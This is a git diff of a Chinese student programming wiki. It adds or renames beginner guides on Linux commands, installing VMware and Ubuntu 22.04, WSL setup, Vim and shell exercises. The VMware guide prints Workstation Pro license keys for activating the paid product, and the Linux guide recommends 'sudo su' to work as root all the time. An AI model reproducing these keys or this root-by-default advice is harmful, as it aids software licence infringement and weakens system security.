`NEWFILE` 已存在, 其内容不会丢失. -- `cp SOURCE DEST` 可以将 `SOURCE` 文件复制为 `DEST` 文件; 如果 `DEST` 是一个目录, 则将 `SOURCE` 文件复制到该目录下. -- `mv SOURCE DEST` 可以将 `SOURCE` 文件重命名为 `DEST` 文件; 如果 `DEST` 是一个目录, 则将 `SOURCE` 文件移动到该目录下. -- `mkdir DIR` 能够创建一个 `DIR` 目录. -- `rm FILE` 能够删除 `FILE` 文件; 如果使用 `-r` 选项则可以递归删除一个目录. 删除后的文件无法恢复, 使用时请谨慎! -- `man` 可以查看命令的帮助. 例如 `man ls` 可以查看 `ls` 命令的使用方法. 灵活应用 `man` 和互联网搜索, 可以快速学习新的命令. - -`man` 的功能不仅限于此. `man` 后可以跟两个参数, 可以查看不同类型的帮助(请在互联网上搜索). 例如当你不知道 C 标准库函数 `freopen` 如何使用时, 可以键入命令 - -``` -man 3 freopen -``` - -## 统计代码行数 - -第一个例子是统计一个目录中(包含子目录)中的代码行数. 如果想知道当前目录下究竟有多少行的代码, 就可以在命令行中键入如下命令: - -``` -find . | grep '\.c$\|\.h$' | xargs wc -l -``` - -如果用 `man find` 查看 `find` 操作的功能, 可以看到 `find` 是搜索目录中的文件. Linux 中一个点 `.` 始终表示 Shell 当前所在的目录, 因此 `find .` 实际能够列出当前目录下的所有文件. 如果在文件很多的地方键入 `find .`, 将会看到过多的文件, 此时可以按 `CTRL + c` 退出. - -同样, 用 `man` 查看 `grep` 的功能——"print lines matching a pattern". `grep` 实现了输入的过滤, 我们的 `grep` 有一个参数, 它能够匹配以 `.c` 或 `.h` 结束的文件. 正则表达式是处理字符串非常强大的工具之一, 每一个程序员都应该掌握其相关的知识. ? 上述的 `grep` 命令能够提取所有 `.c` 和 `.h` 结尾的文件. - -刚才的 `find` 和 `grep` 命令, 都从标准输入中读取数据, 并输出到标准输出. 关于什么是标准输入输出, 请参考[这里](http://en.wikipedia.org/wiki/Standard_streams). 连接起这两个命令的关键就是管道符号 `|`. 这一符号的左右都是 Shell 命令, `A | B` 的含义是创建两个进程 `A` 和 `B`, 并将 `A` 进程的标准输出连接到 `B` 进程的标准输入. 这样, 将 `find` 和 `grep` 连接起来就能够筛选出当前目录(`.`)下所有以 `.c` 或 `.h` 结尾的文件. - -我们最后的任务是统计这些文件所占用的总行数, 此时可以用 `man` 查看 `wc` 命令. `wc` 命令的 `-l` 选项能够计算代码的行数. `xargs` 命令十分特殊, 它能够将标准输入转换为参数, 传送给第一个参数所指定的程序. 所以, 代码中的 `xargs wc -l` 就等价于执行 `wc -l aaa.c bbb.c include/ccc.h ...`, 最终完成代码行数统计. - -## 统计磁盘使用情况 - -以下命令统计 `/usr/share` 目录下各个目录所占用的磁盘空间: - -``` -du -sc /usr/share/* | sort -nr -``` - -`du` 是磁盘空间分析工具, `du -sc` 将目录的大小顺次输出到标准输出, 继而通过管道传送给 `sort`. `sort` 是数据排序工具, 其中的选项 `-n` 表示按照数值进行排序, 而 `-r` 则表示从大到小输出. `sort` 可以将这些参数连写在一起. - -然而我们发现, `/usr/share` 中的目录过多, 无法在一个屏幕内显示. 此时, 我们可以再使用一个命令: `more` 或 `less`. - -``` -du -sc /usr/share/* | sort -nr | more -``` - -此时将会看到输出的前几行结果. `more` 工具使用空格翻页, 并可以用 `q` 键在中途退出. `less` 工具则更为强大, 不仅可以向下翻页, 还可以向上翻页, 同样使用 `q` 键退出. 这里还有一个[关于 less 的小故事](http://en.wikipedia.org/wiki/Less_(Unix)). - -## 在 Linux 下编写 Hello World 程序 - -Linux 中用户的主目录是 `/home/用户名称`, 如果你的用户名是 `user`, 你的主目录就是 `/home/user`. 用户的 `home` 目录可以用波浪符号 `~` 替代, 例如临时文件目录 `/home/user/Templates` 可以简写为 `~/Templates`. 现在我们就可以进入主目录并编辑文件了. 如果 `Templates` 目录不存在, 可以通过 `mkdir` 命令创建它: - -``` -cd ~ -mkdir Templates -``` - -创建成功后, 键入 - -``` -cd Templates -``` - -可以完成目录的切换. 注意在输入目录名时, `tab` 键可以提供联想. - -##### 你感到键入困难吗? - -你可能会经常要在终端里输入类似于 - -cd AVeryVeryLongFileName - -的命令, 你一定觉得非常烦躁. 回顾上面所说的原则之一: 如果你感到有什么地方不对, 就一定有什么好办法来解决. 试试 `tab` 键吧. - -Shell 中有很多这样的小技巧, 你也可以使用其他的 Shell 例如 zsh, 提供更丰富好用的功能. 总之, 尝试和改变是最重要的. - -进入正确的目录后就可以编辑文件了, 开源世界中主流的两大编辑器是 `vi(m)` 和 `emacs`, 你可以使用其中的任何一种. 如果你打算使用 `emacs`, 你还需要安装它 - -``` -apt-get install emacs -``` - -`vi` 和 `emacs` 这两款编辑器都需要一定的时间才能上手, 它们共同的特点是需要花较多的时间才能适应基本操作方式(命令或快捷键), 但一旦熟练运用, 编辑效率就比传统的编辑器快很多. - -进入了正确的目录后, 输入相应的命令就能够开始编辑文件. 例如输入 - -``` -vi hello.c -或emacs hello.c -``` - -就能开启一个文件编辑. 例如可以键入如下代码(对于首次使用 `vi` 或 `emacs` 的同学, 键入代码可能会花去一些时间, 在编辑的同时要大量查看网络上的资料): - -``` -#include -int main(void) { - printf("Hello, Linux World!\n"); - return 0; -} -``` - -> 相信你在写完代码之后苦于不知道怎么保存并退出,不用担心,这个是正常的,毕竟上面提到的两个文本编辑器都是以入门时的学习曲线及其陡峭而著称。
对于 vi(m)风格的编辑器,你需要先按 `ESC` 返回 NORMAL 模式(具体处于那个模式可以观察窗口左下角,NORMAL 模式是空白的),再输入 `:wq` 来保存并退出(注意 `:` 是输入的一部分 )(`:q 仅退出` `:q! 不保存退出` )
呃呃 [【保姆级入门】Vim 编辑器](https://www.bilibili.com/video/BV13t4y1t7Wg) - -保存后就能够看到 `hello.c` 的内容了. 终端中可以用 `cat hello.c` 查看代码的内容. 如果要将它编译, 可以使用 `gcc` 命令: - -``` -gcc hello.c -o hello -``` - -`gcc` 的 `-o` 选项指定了输出文件的名称, 如果将 `-o hello` 改为 `-o hi`, 将会生成名为 `hi` 的可执行文件. 如果不使用 `-o` 选项, 则会默认生成名为 `a.out` 的文件, 它的含义是 [assembler output](http://en.wikipedia.org/wiki/A.out). 在命令行输入 - -``` -./hello -``` - -就能够运行改程序. 命令中的 `./` 是不能少的, 点代表了当前目录, 而 `./hello` 则表示当前目录下的 `hello` 文件. 与 Windows 不同, Linux 系统默认情况下并不查找当前目录, 这是因为 Linux 下有大量的标准工具(如 `test` 等), 很容易与用户自己编写的程序重名, 不搜索当前目录消除了命令访问的歧义. - diff --git a/3.编程思维体系构建/3.Y.3VMware的安装与安装Ubuntu22.04系统.md b/3.编程思维体系构建/3.Y.3VMware的安装与安装Ubuntu22.04系统.md new file mode 100644 index 0000000..c73908c --- /dev/null +++ b/3.编程思维体系构建/3.Y.3VMware的安装与安装Ubuntu22.04系统.md @@ -0,0 +1,119 @@ +# VMware 的安装与安装 Ubuntu22.04 系统 + +::: warning +一般与 wsl 安装二选一,因为都是虚拟系统,安装了 wsl 不用 VMware + +文章撰写于 2022 年,可能其中的一些内容已过时。 +::: + +首先下载 VMware + +如果是 pro16 版本(key **ZF3R0-FHED2-M80TY-8QYGC-NPKYF**) + +如果是 pro17 版本(key **JU090-6039P-08409-8J0QH-2YR7F**) + +本文写的时候用的版本是 pro16,但目前已经更新到 pro17 所以来更新个 key(如下安装与 16 版本无异) + +[https://www.vmware.com/products/workstation-pro/workstation-pro-evaluation.html](https://www.vmware.com/products/workstation-pro/workstation-pro-evaluation.html) + +一路下一步 + +![](https://cdn.xyxsw.site/boxcntUYJNAaOwB8L6KSEhJJojh.png) + +![](https://cdn.xyxsw.site/boxcnQkVQ4uyYCveO6toBujoGOc.png) + +这俩我推荐勾掉 + +![](https://cdn.xyxsw.site/boxcndgDKfTuio3nF0QboemIPHe.png) + +安装过后点许可证 输上面的 key 激活 + +[https://mirror.nju.edu.cn/ubuntu-releases/22.04](https://mirror.nju.edu.cn/ubuntu-releases/22.04) + +去这里下载 Ubuntu22.04 镜像包 iso 选择 `ubuntu--desktop-amd64.iso` + +:::tip +这里推荐使用多线程下载器下载,比如 [IDM](../2.高效学习/2.2优雅的使用工具.md),如果直接用浏览器下载(线程少)可能会出现下载慢、下载失败的情况。 +::: + +下好回到 VMware + +![](https://cdn.xyxsw.site/boxcnGHnjgZvtcBrm0XXitFl4Jg.png) + +创建新的虚拟机 - 典型(推荐)- 下一步 - 安装程序 iso 选中你刚下的 iso 下一步 + +![](https://cdn.xyxsw.site/boxcnXilUhHNEyU4r95FxiVgCdg.png) + +这里填你一会儿要登录 linux 的个人信息 + +![](https://cdn.xyxsw.site/boxcnp33Oc3Ia2HzASTZJNOhEWb.png) + +这里建议把位置改到其他盘 + +一路下一步直到完成 + +启动后进入 Ubuntu 安装 + +![](https://cdn.xyxsw.site/boxcn5Uk41JyjjdTzXWQqUkexzc.png) + +键盘映射 直接 continue + +接下来一路 continue install now + +![](https://cdn.xyxsw.site/boxcnLxZnyFN3ohE8zrTwNaCA8e.png) + +最后 restart + +![](https://cdn.xyxsw.site/boxcnLguvbHihJ3ngqrtyGLI6zf.png) + +![](https://cdn.xyxsw.site/boxcnCX92JHjg8PU3quKs4GziZb.png) + +![](https://cdn.xyxsw.site/boxcnL5Jn3g7AdzVzoBb6ZINs1f.png) + +这个 skip + +后面一路 next 最后 done + +点右上角 settings + +![](https://cdn.xyxsw.site/boxcn85Yb3JIQ3520KeaSoyPVDd.png) + +![](https://cdn.xyxsw.site/boxcnZLHO1JGWoSqhM9zEEhSMAd.png) + +![](https://cdn.xyxsw.site/boxcnvLxCTKYfogPm9GNaKmusEf.png) + +然后按指引 restart 系统 + +![](https://cdn.xyxsw.site/boxcn30VJILYpO81pq89mAmzjTf.png) + +会提示你要不要重新命名这些用户下的文件夹 + +我建议选 `keep old names` + +如果你的语言还没有变过来的话 + +![](https://cdn.xyxsw.site/boxcnKzJjY8Dvj13A49bnMAztPg.png) + +点击这个他会安装语言 + +![](https://cdn.xyxsw.site/boxcndHnAuGC7TXhQgLkpLkHghf.png) + +把汉语拖到英文之上 点应用到整个系统 + +![](https://cdn.xyxsw.site/boxcnltCL3atXHtC3BUj5VI1Lqf.png) + +右上角 logout 重新登陆 就是中文辣 + +最后在设置 - 电源把息屏改成从不 + +![](https://cdn.xyxsw.site/boxcnnLCJzGoFrUbWIMAPGFkxcb.png) + +**至此 恭喜安装完成!** + +之后就可以在桌面上右键 + +![](https://cdn.xyxsw.site/boxcnG6z1VpAYUGMSkSwDBUxEvf.png) + +打开命令行 + +**开始你的 Linux 学习吧** diff --git a/3.编程思维体系构建/3.Y.2WSL的安装.md b/3.编程思维体系构建/3.Y.4WSL的安装.md similarity index 61% rename from 3.编程思维体系构建/3.Y.2WSL的安装.md rename to 3.编程思维体系构建/3.Y.4WSL的安装.md index 3afe3ca..a73d528 100644 --- a/3.编程思维体系构建/3.Y.2WSL的安装.md +++ b/3.编程思维体系构建/3.Y.4WSL的安装.md @@ -1,13 +1,14 @@ # WSL 的安装 -与 VMware 安装二选一 安装了 VMware 不用 wsl +::: warning 💡与 VMware 安装二选一 安装了 VMware 不用 wsl +::: -先说坏处: +先说**坏处**: 1. 开启 hyperv 的后果是 如果你电脑装模拟器玩手游的话 装了 hyperv 你的模拟器是打不开的(目前只有 `蓝叠国际版HyperV版`(性能很差)支持共存 hyperv 和模拟器) 2. WSL 很难装辣 安装过程中会出很多 bug 需要你自行 STFW -## 官方文档 +## **官方文档** ## [史上最全的 WSL 安装教程](https://blog.csdn.net/wojiuguowei/article/details/122100090) @@ -15,10 +16,10 @@ (现在可能是只开 `适用于Linux的windows子系统`) -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnYVkEecWdUs710e8h6G9GTh.png) +![](https://cdn.xyxsw.site/boxcnYVkEecWdUs710e8h6G9GTh.png) -如果你的 windows 版本为家庭版 那么 hyperv 选项是没有的 +如果你的 windows 版本为**家庭版** 那么 hyperv 选项是没有的 你需要右键以管理员权限打开以下脚本来强行开启 hyperv -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnoCF5MilDma33yviwRGdDHe.png) +![](https://cdn.xyxsw.site/boxcnoCF5MilDma33yviwRGdDHe.png) diff --git a/3.编程思维体系构建/3.Y.5Linux初探索.md b/3.编程思维体系构建/3.Y.5Linux初探索.md new file mode 100644 index 0000000..f635ad3 --- /dev/null +++ b/3.编程思维体系构建/3.Y.5Linux初探索.md @@ -0,0 +1,158 @@ +# Linux 初探索 + +如果你是第一次接触 link,请一边仔细阅读,一边尝试敲命令在终端内。 + +有一点非常重要,这章节的内容到后面会略为困难,并且 linux 知识繁杂多样。 + +希望你可以参考这个链接! +[一些基本常识](https://linux.cn/article-6160-1.html) + +当然,你也可以从蓝桥云课开始,不过学会 linux 的最好办法是删掉你的 windows 换一个 linux 系统当开发环境,比任何临时的训练都有效! + +[蓝桥云课-Linux 基础入门](https://www.lanqiao.cn/courses/1) + +## 探索命令行 + +Linux 命令行中的命令使用格式都是相同的: + +```bash +命令名称 参数1 参数2 参数3 ... +``` + +参数之间用任意数量的空白字符分开。关于命令行,可以先阅读[一些基本常识](https://linux.cn/article-6160-1.html). 然后我们介绍最常用的一些命令: + +- (重要)首先教一个命令 `sudo su` 进入 root 账户(敲完之后会让你敲当前登录账户的密码 密码敲得过程中没有*****这种传统敲密码的提示 为 linux 传统艺能 其实是敲进去了),因为本身普通账户没什么权限,会出现处处的权限提示,建议直接使用 root 账户。 + +```txt +这里有一个彩蛋(如果你用的是 centos 的话) +当用户第一次使用 sudo 权限时 CentOS 的系统提示: +我们信任您已经从系统管理员那里了解了日常注意事项。 +总结起来无外乎这三点: +#1) 尊重别人的隐私。 +#2) 输入前要先考虑 (后果和风险)。 +#3) 权力越大,责任越大。 +``` + +- `ls` 用于列出当前目录 (即"文件夹") 下的所有文件 (或目录). 目录会用蓝色显示。`ls -l` 可以显示详细信息。 +- `pwd` 能够列出当前所在的目录。 +- `cd DIR` 可以切换到 `DIR` 目录。在 Linux 中,每个目录中都至少包含两个目录:`.` 指向该目录自身,`..` 指向它的上级目录。文件系统的根是 `/`. +- `touch NEWFILE` 可以创建一个内容为空的新文件 `NEWFILE`, 若 `NEWFILE` 已存在,其内容不会丢失。 +- `cp SOURCE DEST` 可以将 `SOURCE` 文件复制为 `DEST` 文件; 如果 `DEST` 是一个目录,则将 `SOURCE` 文件复制到该目录下。 +- `mv SOURCE DEST` 可以将 `SOURCE` 文件重命名为 `DEST` 文件; 如果 `DEST` 是一个目录,则将 `SOURCE` 文件移动到该目录下。 +- `mkdir DIR` 能够创建一个 `DIR` 目录。 +- `rm FILE` 能够删除 `FILE` 文件; 如果使用 `-r` 选项则可以递归删除一个目录。删除后的文件无法恢复,使用时请谨慎! +- `man` 可以查看命令的帮助。例如 `man ls` 可以查看 `ls` 命令的使用方法。灵活应用 `man` 和互联网搜索,可以快速学习新的命令。 + +`man` 的功能不仅限于此。`man` 后可以跟两个参数,可以查看不同类型的帮助 (请在互联网上搜索). 例如当你不知道 C 标准库函数 `freopen` 如何使用时,可以键入命令 + +```bash +man 3 freopen +``` + +### **统计代码行数** + +第一个例子是统计一个目录中 (包含子目录) 中的代码行数。如果想知道当前目录下究竟有多少行的代码,就可以在命令行中键入如下命令: + +```bash +find . | grep '\.c$\|\.h$' | xargs wc -l +``` + +如果用 `man find` 查看 `find` 操作的功能,可以看到 `find` 是搜索目录中的文件。Linux 中一个点 `.` 始终表示 Shell 当前所在的目录,因此 `find .` 实际能够列出当前目录下的所有文件。如果在文件很多的地方键入 `find .`, 将会看到过多的文件,此时可以按 `CTRL + c` 退出。 + +同样,用 `man` 查看 `grep` 的功能——"print lines matching a pattern". `grep` 实现了输入的过滤,我们的 `grep` 有一个参数,它能够匹配以 `.c` 或 `.h` 结束的文件。正则表达式是处理字符串非常强大的工具之一,每一个程序员都应该掌握其相关的知识。? 上述的 `grep` 命令能够提取所有 `.c` 和 `.h` 结尾的文件。 + +刚才的 `find` 和 `grep` 命令,都从标准输入中读取数据,并输出到标准输出。关于什么是标准输入输出,请参考[这里](http://en.wikipedia.org/wiki/Standard_streams). 连接起这两个命令的关键就是管道符号 `|`. 这一符号的左右都是 Shell 命令,`A | B` 的含义是创建两个进程 `A` 和 `B`, 并将 `A` 进程的标准输出连接到 `B` 进程的标准输入。这样,将 `find` 和 `grep` 连接起来就能够筛选出当前目录 (`.`) 下所有以 `.c` 或 `.h` 结尾的文件。 + +我们最后的任务是统计这些文件所占用的总行数,此时可以用 `man` 查看 `wc` 命令。`wc` 命令的 `-l` 选项能够计算代码的行数。`xargs` 命令十分特殊,它能够将标准输入转换为参数,传送给第一个参数所指定的程序。所以,代码中的 `xargs wc -l` 就等价于执行 `wc -l aaa.c bbb.c include/ccc.h ...`, 最终完成代码行数统计。 + +### **统计磁盘使用情况** + +以下命令统计 `/usr/share` 目录下各个目录所占用的磁盘空间: + +```bash +du -sc /usr/share/* | sort -nr +``` + +`du` 是磁盘空间分析工具,`du -sc` 将目录的大小顺次输出到标准输出,继而通过管道传送给 `sort`. `sort` 是数据排序工具,其中的选项 `-n` 表示按照数值进行排序,而 `-r` 则表示从大到小输出。`sort` 可以将这些参数连写在一起。 + +然而我们发现,`/usr/share` 中的目录过多,无法在一个屏幕内显示。此时,我们可以再使用一个命令:`more` 或 `less`. + +```bash +du -sc /usr/share/* | sort -nr | more +``` + +此时将会看到输出的前几行结果。`more` 工具使用空格翻页,并可以用 `q` 键在中途退出。`less` 工具则更为强大,不仅可以向下翻页,还可以向上翻页,同样使用 `q` 键退出。这里还有一个[关于 less 的小故事](http://en.wikipedia.org/wiki/Less_(Unix)). + +### **在 Linux 下编写 Hello World 程序** + +Linux 中用户的主目录是 `/home/用户名称`, 如果你的用户名是 `user`, 你的主目录就是 `/home/user`. 用户的 `home` 目录可以用波浪符号 `~` 替代,例如临时文件目录 `/home/user/Templates` 可以简写为 `~/Templates`. 现在我们就可以进入主目录并编辑文件了。如果 `Templates` 目录不存在,可以通过 `mkdir` 命令创建它: + +```bash +cd ~ +mkdir Templates +``` + +创建成功后,键入 + +```bash +cd Templates +``` + +可以完成目录的切换。注意在输入目录名时,`tab` 键可以提供联想。 + +#### 你感到键入困难吗? + +::: warning 💡 你可能会经常要在终端里输入类似于 + +cd AVeryVeryLongFileName + +的命令,你一定觉得非常烦躁。回顾上面所说的原则之一:如果你感到有什么地方不对,就一定有什么好办法来解决。试试 `tab` 键吧。 + +Shell 中有很多这样的小技巧,你也可以使用其他的 Shell 例如 zsh, 提供更丰富好用的功能。总之,尝试和改变是最重要的。 +::: + +进入正确的目录后就可以编辑文件了,开源世界中主流的两大编辑器是 `vi(m)` 和 `emacs`, 你可以使用其中的任何一种。如果你打算使用 `emacs`, 你还需要安装它 + +```bash +apt-get install emacs +``` + +`vi` 和 `emacs` 这两款编辑器都需要一定的时间才能上手,它们共同的特点是需要花较多的时间才能适应基本操作方式 (命令或快捷键), 但一旦熟练运用,编辑效率就比传统的编辑器快很多。 + +进入了正确的目录后,输入相应的命令就能够开始编辑文件。例如输入 + +```bash +vi hello.c +或emacs hello.c +``` + +就能开启一个文件编辑。例如可以键入如下代码 (对于首次使用 `vi` 或 `emacs` 的同学,键入代码可能会花去一些时间,在编辑的同时要大量查看网络上的资料): + +```c +#include +int main(void) { + printf("Hello, Linux World!\n"); + return 0; +} +``` + +> 相信你在写完代码之后苦于不知道怎么保存并退出,不用担心,这个是正常的,毕竟上面提到的两个文本编辑器都是以入门时的学习曲线及其陡峭而著称。 +> 对于 vi(m) 风格的编辑器,你需要先按 `ESC` 返回 NORMAL 模式(具体处于那个模式可以观察窗口左下角,NORMAL 模式是空白的),再输入 `:wq` 来保存并退出(注意 `:` 是输入的一部分)(`:q 仅退出` `:q! 不保存退出` ) +> +> [【保姆级入门】Vim 编辑器](https://www.bilibili.com/video/BV13t4y1t7Wg) +> +> + +保存后就能够看到 `hello.c` 的内容了。终端中可以用 `cat hello.c` 查看代码的内容。如果要将它编译,可以使用 `gcc` 命令: + +```bash +gcc hello.c -o hello +``` + +`gcc` 的 `-o` 选项指定了输出文件的名称,如果将 `-o hello` 改为 `-o hi`, 将会生成名为 `hi` 的可执行文件。如果不使用 `-o` 选项,则会默认生成名为 `a.out` 的文件,它的含义是 [assembler output](http://en.wikipedia.org/wiki/A.out). 在命令行输入 + +```bash +./hello +``` + +就能够运行改程序。命令中的 `./` 是不能少的,点代表了当前目录,而 `./hello` 则表示当前目录下的 `hello` 文件。与 Windows 不同,Linux 系统默认情况下并不查找当前目录,这是因为 Linux 下有大量的标准工具 (如 `test` 等), 很容易与用户自己编写的程序重名,不搜索当前目录消除了命令访问的歧义。 diff --git a/3.编程思维体系构建/3.Y.4Vim初探索.md b/3.编程思维体系构建/3.Y.6Vim初探索.md similarity index 78% rename from 3.编程思维体系构建/3.Y.4Vim初探索.md rename to 3.编程思维体系构建/3.Y.6Vim初探索.md index eb75c52..4875bb6 100644 --- a/3.编程思维体系构建/3.Y.4Vim初探索.md +++ b/3.编程思维体系构建/3.Y.6Vim初探索.md @@ -1,29 +1,31 @@ # Vim 初探索 -# 下载 vim +## 下载 vim vim 被称为编辑器之神 -看到这一句可能就激发了你学习 vim 的热情,但是看完整篇文章和文章里面的所有参考资料,可能这股来之不易的热情也早就消失了。为了避免这种情况,我给一个小小的建议: +::: warning 💡 看到这一句可能就激发了你学习 vim 的热情,但是看完整篇文章和文章里面的所有参考资料,可能这股来之不易的热情也早就消失了。为了避免这种情况,我给一个小小的建议: 1. 首先学会盲打,不会的话,不是很建议用 vim / Emacs 这样的编辑器,还是拥抱鼠标吧 2. 学习使用 hjklia 这六个键,然后理解插入模式和普通模式,再了解怎么退出 3. 使用 vim 作为日常的编辑工具,在你所有的代码编辑器里面都装上 vim 插件并使用,强迫自己习惯 hjkl 的移动和带模式的输入,习惯按 `` 4. 到这个时候你就会感觉的确可以不用鼠标了,但是有的时候会比较别扭,比如想新建一行时,得按 L 移到行尾,然后按 a 追加,再按回车,远远比鼠标麻烦有没有,这种情况就可以上网查询,`vim 如何新建一行`,就会学到 o 可以向下新建一行,O 可以向上新建一行,然后你就能自然地学会更多的操作。 +::: 因为其具有着非常完整的生态以及诸多配套的插件,但是第一次使用得你可能感觉很不习惯。 讲一个笑话,你如何获得一个随机字符串,只要让新人使用 vim 就好了。 -不开玩笑,为了让你不小心在命令行模式下进入 vim 又不知道怎么退出时不需要拔电源来退出,先按几次 `` 键(避免你之前不小心按到了 i 或 a 或 o 或等等按键)进入普通模式,然后顺序敲击 `:q`(冒号 和 q 两个按键 ),再按回车就可以退出了。 +::: waning 💡 不开玩笑,为了让你不小心在命令行模式下进入 vim 又不知道怎么退出时不需要拔电源来退出,先按几次 `` 键(避免你之前不小心按到了 i 或 a 或 o 或等等按键)进入普通模式,然后顺序敲击 `:q`(冒号 和 q 两个按键 ),再按回车就可以退出了。 +::: -``` +```bash apt-get install vim ``` 但是我仍然推荐你尝试使用或者结合 VSC 一起使用,使用习惯后将有效提高你的开发效率。 -# 如何学习 vim +## 如何学习 vim 作为程序员,我们大部分时间都花在代码编辑上,所以花点时间掌握某个适合自己的编辑器是非常值得的。通常学习使用一个新的编辑器包含以下步骤: @@ -33,25 +35,25 @@ apt-get install vim 如果您能够遵循上述步骤,并且坚持使用新的编辑器完成您所有的文本编辑任务,那么学习一个复杂的代码编辑器的过程一般是这样的:头两个小时,您会学习到编辑器的基本操作,例如打开和编辑文件、保存与退出、浏览缓冲区。当学习时间累计达到 20 个小时之后,您使用新编辑器的效率应该已经和使用老编辑器一样快。在此之后,其益处开始显现:有了足够的知识和肌肉记忆后,使用新编辑器将大大节省你的时间。而现代文本编辑器都是些复杂且强大的工具,永远有新东西可学:学的越多,效率越高。 -# Vim 的哲学 +## **Vim 的哲学** -在编程的时候,你会把大量时间花在阅读/编辑而不是在写代码上。所以,Vim 是一个_多模态_编辑 器:它对于插入文字和操纵文字有不同的模式。Vim 是可编程的(可以使用 Vimscript 或者像 Python 一样的其他程序语言),Vim 的接口本身也是一个程序语言:键入操作(以及其助记名) 是命令,这些命令也是可组合的。Vim 避免了使用鼠标,因为那样太慢了;Vim 甚至避免用 上下左右键因为那样需要太多的手指移动。 +在编程的时候,你会把大量时间花在阅读/编辑而不是在写代码上。所以,Vim 是一个_多模态_编辑 器:它对于插入文字和操纵文字有不同的模式。Vim 是可编程的(可以使用 Vimscript 或者像 Python 一样的其他程序语言),Vim 的接口本身也是一个程序语言:键入操作(以及其助记名)是命令,这些命令也是可组合的。Vim 避免了使用鼠标,因为那样太慢了;Vim 甚至避免用 上下左右键因为那样需要太多的手指移动。 这样的设计哲学使得 Vim 成为了一个能跟上你思维速度的编辑器。 -# 学习 Vim +## 学习 Vim 如果想要使用他最基本的操作的话,在电脑上键入 vimtutor 会有官方的教程进行引导哦。 -# 配置 vim +## 配置 vim vim 有大量的配置,通过更改./vimrc 文件或者安装插件都可以有效提高你的开发效率,定制属于你个人的编辑器哦~ 快去试试吧 -# 任务 +## 任务 定制 vim 成为你喜欢的模样,加装足够多的插件和更改足够多的配置让他满足以下几点或以上 @@ -67,7 +69,7 @@ vim 有大量的配置,通过更改./vimrc 文件或者安装插件都可以 [vim awesome](https://vimawesome.com/) -# 拓展阅读 +## 拓展阅读 [Learn-Vim(the Smart Way) 中文翻译](https://github.com/wsdjeg/Learn-Vim_zh_cn) diff --git a/3.编程思维体系构建/3.Y.5linux小任务.md b/3.编程思维体系构建/3.Y.7linux小任务.md similarity index 93% rename from 3.编程思维体系构建/3.Y.5linux小任务.md rename to 3.编程思维体系构建/3.Y.7linux小任务.md index 33fecfb..fa93a8d 100644 --- a/3.编程思维体系构建/3.Y.5linux小任务.md +++ b/3.编程思维体系构建/3.Y.7linux小任务.md @@ -6,19 +6,19 @@ 4. 用 `touch` 在 `missing` 文件夹中新建一个叫 `semester` 的文件。 5. 将以下内容一行一行地写入 `semester` 文件: -``` +```bash #!/bin/sh curl --head --silent https://missing.csail.mit.edu ``` -第一行可能有点棘手, `#` 在 Bash 中表示注释,而 `!` 即使被双引号(`"`)包裹也具有特殊的含义。 单引号(`'`)则不一样,此处利用这一点解决输入问题。更多信息请参考 Bash quoting 手册 +第一行可能有点棘手, `#` 在 Bash 中表示注释,而 `!` 即使被双引号(`"`)包裹也具有特殊的含义。单引号(`'`)则不一样,此处利用这一点解决输入问题。更多信息请参考 Bash quoting 手册 1. 尝试执行这个文件。例如,将该脚本的路径(`./semester`)输入到您的 shell 中并回车。如果程序无法执行,请使用 `ls` 命令来获取信息并理解其不能执行的原因。 -2. 查看 `chmod` 的手册(例如,使用 `man chmod` 命令) +2. 查看 `chmod` 的手册 (例如,使用 `man chmod` 命令) 3. 使用 `chmod` 命令改变权限,使 `./semester` 能够成功执行,不要使用 `sh semester` 来执行该程序。您的 shell 是如何知晓这个文件需要使用 `sh` 来解析呢?更多信息请参考:shebang 4. 使用 `|` 和 `>` ,将 `semester` 文件输出的最后更改日期信息,写入主目录下的 `last-modified.txt` 的文件中 5. 写一段命令来从 `/sys` 中获取笔记本的电量信息,或者台式机 CPU 的温度 -6. 使用shell编程写一个类似脚本的图书管理系统,包含增删改查四个功能 +6. 使用 shell 编程写一个类似脚本的图书管理系统,包含增删改查四个功能 当然,可能会有点困难我在这里附上一段参考代码 @@ -124,4 +124,3 @@ search() } ``` - diff --git a/3.编程思维体系构建/3.编程思维体系构建.md b/3.编程思维体系构建/3.编程思维体系构建.md index 3fdccb0..ea7cf28 100644 --- a/3.编程思维体系构建/3.编程思维体系构建.md +++ b/3.编程思维体系构建/3.编程思维体系构建.md @@ -8,7 +8,7 @@ 但是,他作为一个交通工具,你不开你就得腿着去学校。想想如果你从杭电走到西湖只能走着去,那是多么恐怖的一件事。 -(当然,现在GPT的强大功能可以帮大伙解决相当多的工作,因此,我们可能需要掌握更多的逻辑思维能力和分解问题的能力,将问题简化之后用GPT解决也不失为一个选择) +(当然,现在 GPT 的强大功能可以帮大伙解决相当多的工作,因此,我们可能需要掌握更多的逻辑思维能力和分解问题的能力,将问题简化之后用 GPT 解决也不失为一个选择) 因此本章节的目标是让大家面对一个实际问题,有使用编程解决的思路和能力。 @@ -16,32 +16,35 @@ 本章提供了非常多的软实力文章,阅读相关软实力文章,你可以根据自己的情况构建适合自己一通百通的学习编程知识的方法论。 -本章提供了相当完善的,足够面对多数需求的C语言体系结构,通过完成C语言的体系,你可以较为熟练地掌握C语言,并且对构建一个较小规模的项目组织和项目拆分有一定的理解 +本章提供了相当完善的,足够面对多数需求的 C 语言体系结构,通过完成 C 语言的体系,你可以较为熟练地掌握 C 语言,并且对构建一个较小规模的项目组织和项目拆分有一定的理解 -python内容完成后,基本学习到如何使用python当一门工具使用,当有具体的需求可以进行后续的补充学习 +python 内容完成后,基本学习到如何使用 python 当一门工具使用,当有具体的需求可以进行后续的补充学习 -与此同时,Git or Linux也是作为一个CSer 或者说想要提升自身效率的程序员,不可或缺的一个内容,希望你能掌握 +与此同时,Git or Linux 也是作为一个 CSer 或者说想要提升自身效率的程序员,不可或缺的一个内容,希望你能掌握 -如果你要开始,推荐你从3.0开始阅读,然后挑选你喜欢的内容 +如果你要开始,推荐你从 3.0 开始阅读,然后挑选你喜欢的内容 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnOrKXUsIPJAUXyGB3Txewve.png) +[【计算机科学速成课】[40 集全/精校] - Crash Course Computer Science](https://www.bilibili.com/video/BV1EW411u7th) + + +![](https://cdn.xyxsw.site/boxcnOrKXUsIPJAUXyGB3Txewve.png) ## 本章参考内容 [cs61a](https://cs61a.org/) 